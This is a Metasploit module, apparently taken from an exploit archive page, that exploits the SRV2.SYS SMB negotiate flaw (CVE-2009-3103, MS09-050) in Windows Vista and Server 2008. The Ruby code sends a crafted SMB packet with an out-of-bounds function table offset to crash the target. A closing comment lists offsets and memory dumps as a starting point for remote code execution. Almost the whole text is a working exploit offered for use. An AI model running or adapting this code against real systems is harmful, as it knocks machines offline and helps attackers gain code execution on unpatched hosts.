Share
## https://sploitus.com/exploit?id=PACKETSTORM:180562
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',  
'Description' => %q{  
This module exploits an out of bounds function table dereference in the SMB  
request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7  
release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista  
without SP1 does not seem affected by this flaw.  
},  
  
'Author' => [ 'Laurent Gaffie <laurent.gaffie[at]gmail.com>', 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2009-3103'],  
['BID', '36299'],  
['OSVDB', '57799'],  
['MSB', 'MS09-050'],  
['URL', 'https://seclists.org/fulldisclosure/2009/Sep/39']  
]  
))  
register_options([  
Opt::RPORT(445),  
OptInt.new('OFFSET', [true, 'The function table offset to call', 0xffff])  
])  
  
end  
  
  
def run  
connect()  
  
# The SMB 2 dialect must be there  
dialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12', 'SMB 2.002']  
data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')  
  
pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct  
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE  
pkt['Payload']['SMB'].v['Flags1'] = 0x18  
pkt['Payload']['SMB'].v['Flags2'] = 0xc853  
pkt['Payload'].v['Payload'] = data  
  
pkt['Payload']['SMB'].v['ProcessIDHigh'] = datastore['OFFSET'].to_i  
pkt['Payload']['SMB'].v['ProcessID'] = 0  
pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)  
  
print_status("Sending request and waiting for a reply...")  
sock.put(pkt.to_s)  
r = sock.get_once  
  
if(not r)  
print_status("The target system has likely crashed")  
else  
print_status("Response received: #{r.inspect}")  
end  
  
disconnect()  
end  
end  
  
=begin  
  
Gaining code execution means pointing the offset to something that  
eventually causes us to run arbitrary code. The offsets below are  
a starting point for turning this into remote code execution.  
  
Offsets on Vista SP1 x64:  
0x1B = "SMB 2.002"  
0x1D = L"SMB2Validate"  
0x1E = L"SMB2Execute"  
0x31 = move eax, 0x00000002 + ret # causes a hang when reaced  
0x58 = WmiQueryTraceInformation  
0x59 = WmiTraceMessage  
0x66 = ExAllocatePoolWithTag  
0x67 = ExFreePool  
0x76 = ExAllocatePoolWithTag  
0x77 = ExFreePool  
0x86 = ExAllocatePoolWithTag  
0x87 = ExFreePoo  
0x96 = ExAllocatePoolWithTag  
0x97 = ExFreePoo  
0xa6 = ExAllocatePoolWithTag  
0xa7 = ExFreePoo  
0xb9 = BugCheckEx  
0xc7 = SrvBalanceCredits  
0xdf = SrvNetStatistics data  
0xe0 = SrvNetStatisticsLock  
0x010e = SrvSnapShotScaevengerThread  
0x011c = SrvSnapShotScavengerTimer  
0x012a = SrvScavengerThread  
0x0138 = SrvScavengerTimer  
0x0146 = SrvScavengeDurableHandles  
0x0157 = SrvScavengeDurableHandlesTimer  
0x0166 = SrvProcessOplockBreaks  
0x0179 = SrvProcessOplockBreakTimer  
0x0185 = L"XactSrv"  
0x01f8 = WppTraceCallback  
  
  
Offsets on Vista SP1 (no updates) x86:  
  
0x64 = mov esp, ebp; pop ebp, ret  
0xde = pool with tag  
  
0 -> 99b51d6e - 8bff558bec5153568b75088b46308b98  
1 -> 99b55967 - 8bff558bec51518b45088b48308b8958  
2 -> 99b53e19 - 8bff558bec568b75088b4e7083791444  
3 -> 99b55811 - 8bff558bec5151538b5d088b43708378  
4 -> 99b53d54 - 8bff558bec56578b7d088b4770837814  
5 -> 99b54d41 - 8bff558bec83ec145356578b7d088b47  
6 -> 99b54c81 - 8bff558bec518b4d088b816c01000053  
7 -> 99b66c44 - 8bff558bec518b4d088b816c01000053  
8 -> 99b655bf - 8bff558bec518b55088b427083781471  
9 -> 99b63ce4 - 8bff558bec518b4d088b816c01000053  
10 -> 99b5a221 - 8bff558bec518b4d088b816c01000053  
11 -> 99b62996 - 8bff558bec518b4d088b816c01000053  
12 -> 99b5fab5 - 8bff558bec518b4d088b816c01000053  
25 -> 819aca26 - 6a2468d0988981e8960beeff33d28955  
26 -> 8186c78b - 8bff558bec83e4f86a008d451c50ff75  
62 -> 80d40f20 - 0000000000eb45000000000000000000  
116 -> 819273b7 - 8bff558bec83e4f883ec3c538b5d088b  
117 -> 8192739f - 8bff558bec6a00ff7508e8df0a00005d  
166 -> 819273b7 - 8bff558bec83e4f883ec3c538b5d088b  
167 -> 8192739f - 8bff558bec6a00ff7508e8df0a00005d  
194 -> 99b6b74c - 8bff558bec83ec0c0fb64d088b451c53  
195 -> 99b683f0 - 943018c0c6fd3f49a3e8697224f83f6f  
206 -> 99b5eeb5 - 8bff558bec83ec1ca11094b69953568b  
217 -> 99b5eea0 - 6a0168809ab699ff151880b699c21000  
226 -> 99b5211d - 8bff558bec83ec145356578d45f450c6  
231 -> 8192fcd0 - 0000000014fd9281ffffffff04000000  
237 -> 99b52108 - 6a0168009bb699ff151880b699c21000  
382 -> 8b137500 - 000000009075138b0000000000000000  
491 -> 8599b680 - 894518e82ee2ffff3b45087341ff7520  
646 -> c000009a - 0000ffffffff80040000ffffffff8004  
734 -> 802015ff - ffde03f078f8ff7f7c02f8ff3ffe01fe  
760 -> 99b4ff28 - 8bff558bec6a00ff7514ff7510ff750c  
804 -> 830ffc7d - 0000001722268b3e012004020010c01c  
  
  
=end